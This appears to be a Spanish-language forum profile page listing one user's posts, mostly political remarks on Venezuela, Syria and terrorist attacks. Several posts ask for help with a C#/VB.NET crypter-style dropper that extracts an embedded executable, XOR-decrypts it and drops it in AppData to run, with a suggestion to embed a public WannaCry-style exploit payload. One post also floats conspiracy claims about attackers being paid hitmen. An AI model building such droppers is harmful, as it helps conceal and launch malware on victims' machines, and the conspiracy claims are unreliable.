Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Borito30

#51
Cita de: engel lex en  6 Junio 2017, 02:16 AM
así como tampoco la gente recuerda el problema en venezuela donde ya vamos por 77 muertos diarios por violencia + 25 por falta de comida/medicinas, en una población de 27 millones, donde van 60 muertos por marchar, donde nadie se acuerda del problema y la ayuda internacional, bien gracias
Pues tambien debería escribirse una noticia por la terrible situación en venezuela.

como cito un miembro del foro:
http://caracol.com.co/programa/2017/04/20/6am_hoy_por_hoy/1492691307_687903.html

Yo pensaba que la luz y el agua en venezuela erá publica y garantizada por el estado algo así pensaba parece que no.
#52
Me cuesta mucho pensar que lo hayan hecho por Alá porque Alá primero que condena la muerte. Pero segundo, son un par de personas de origen de extranjero no nacidos allí eso lo hace sospechoso puesto que alguna organización podría haber cogido un par haberles pagado , imaginense que estas personas no tuviesen para comer y se van desnutriendo poco poco hasta morirse. quiero decir que podría darse el caso de que fuerán sicarios. bin laden trabajo para la cia.
http://www.abc.es/20110502/internacional/abci-historia-qaida-201105021007.html

Nunca se vió su cuerpo. Quiero decir, no es que diga que no lo hayan hecho árabes pero tener en cuenta todos los componentes. es importante.
#53
Ataque aéreo de EEUU deja otros 35 civiles muertos en Siria.

35 civiles que nadie los recordará sumado a los cientos de miles que llevan ya muertos.
#54
Cita de: Slava_TZD en  5 Junio 2017, 16:04 PM
Cría cuervos...

No, lo absurdo es que después de un atentado islamista salgan algunos a decir gilipolleces como esta, o que "mueren mas personas de hambre" o mis amigos musulmanes condenan esos actos... Sabemos a ciencia cierta porque lo hacen, entre otras cosas por que nos lo dicen...(Why we hate you & Why we fight you).

En fin, otro mas a la (ya) larga lista de atentados en lo que llevamos de año.
Si tienes razón.
#55
Bueno si wannacry pudo hacer uso de este tipo de exploit que era ya público y accesible y ya  esta el payload puesto simplemente incluyelo como recurso embebido o lo que sea y haz uso de el.
#56
Esta parte se me hace un poco complicada:

for (int i = 0; i < stream.Length; i++)
fileStream.WriteByte((byte)stream.ReadByte());
fileStream.Close();


Intente hacer un ejemplo basado en lo que me pasastes:
Dim stream As Stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("skip.skip.exe")
'Console.WriteLine(stream);
Using outFile As New System.IO.FileStream(appDataPath+"\tola.exe", IO.FileMode.Create, IO.FileAccess.Write)
For i = 0  To stream.length Step 1
outFile.Read((byte)stream.ReadByte())
Next
outFile.Close()
End Using


Pero me da algunos errores:
'.' expected. (BC30287) -
'Byte' is a type and cannot be used as an expression. (BC30108) -
'inFile' is not declared. It may be inaccessible due to its protection level. (BC30451) -


Por lo que supongo que en:
outfile.Read((byte)stream.ReadByte())

Varia bastante a como se hace en c#.
#57
Yo cree para estudiar uno en .net cualquiera duda pregunta.
#58
Hola mi pregunta es sobre todo en los for se me hace complicado y en el stream. El completo código sería:
Código (csharp) [Seleccionar]
namespace skip
{
   static class Program
   {
       [STAThread]
       static void Main()
       {
           Application.EnableVisualStyles();
           Application.SetCompatibleTextRenderingDefault(false);
           //Application.Run(new Form1());

           byte[] file =
 File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location);

           var position = PatternAt(file, Encoding.ASCII.GetBytes("BLAUMOLAMUCHO"));

           int longitudSeparador = Encoding.ASCII.GetBytes("BLAUMOLAMUCHO").Length;

           byte[] encodedBytes = new byte[file.Length - position.First()-longitudSeparador];
           Array.Copy(file, position.First()+ longitudSeparador, encodedBytes, 0, file.Length - position.First()-longitudSeparador);

           //ruta del fichero embebido
           string tempPath = System.IO.Path.GetTempPath();
           string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
           //var stream
           Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Manifest");
           //Console.WriteLine(stream);
           FileStream fileStream = new FileStream(appDataPath+ @"\tola.exe", FileMode.Create, FileAccess.Write);
           for (int i = 0; i < stream.Length; i++)
               fileStream.WriteByte((byte)stream.ReadByte());
           fileStream.Close();
           RunInternal(appDataPath + @"\tola.exe", "1234");
        }




       private static void RunInternal(string exeName, String pass)
       {
           //Verify the Payload exists
           if (!File.Exists(exeName))
               return;

           //Read the raw bytes of the file
           byte[] resourcesBuffer = File.ReadAllBytes(exeName);

           byte[] decryptedBuffer = resourcesBuffer;




           //If .NET executable -> Run
           if (System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>")) //Esto devuelve false
           {

           }
           else
           {
               //Console.WriteLine(Encoding.ASCII.GetString(decryptedBuffer));
              //Console.ReadKey();
           }

       }

       /// <summary>
       /// Decrypt the Loaded Assembly Bytes
       /// </summary>
       /// <param name="payload"></param>
       /// <returns>Decrypted Bytes</returns>
       /// algoritmo xor
       private static byte[] decryptBytes(byte[] bytes, String pass)
       {
           byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

           for (int i = 0; i < bytes.Length; i++)
           {
               bytes[i] ^= XorBytes[i % XorBytes.Length];
           }

           return bytes;
       }
   }
}


Por lo menos si no quereis indicarlo enterlo simplemente con los for y el streamer sería suficiente para comprender mejor las diferencias. gracias.
#59
No desvio el tema simplemente he dicho mi rotunda condena por lo sucedido y por todas las víctimas y muertos por manos de asesinos , por que al final estos son asesinos y la religión musulmana prohibe el asesinato y menos en nombre de alguien que lo condena, no me queda más que decir.
#60
Muere mas gente de hambre y no salen en las noticias, mi rotunda condena.